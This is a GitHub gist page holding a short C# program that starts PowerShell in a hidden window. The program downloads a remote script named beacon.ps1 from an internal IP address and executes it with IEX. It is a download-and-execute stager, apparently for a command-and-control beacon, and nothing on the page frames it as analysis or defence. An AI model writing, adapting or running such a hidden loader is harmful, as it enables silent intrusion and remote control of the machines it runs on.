Created
December 3, 2017 22:38
-
-
Save peewpw/36c16d7441585c13844066b8fd330a51 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Diagnostics; | |
namespace peewpw | |
{ | |
static class Program | |
{ | |
[STAThread] | |
static void Main() | |
{ | |
Process process = new Process(); | |
process.StartInfo.FileName = "powershell.exe"; | |
process.StartInfo.Arguments = "-c \"IEX((new-object net.webclient).downloadstring(\'http://10.7.254.230/beacon.ps1\'))\""; | |
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; | |
process.Start(); | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment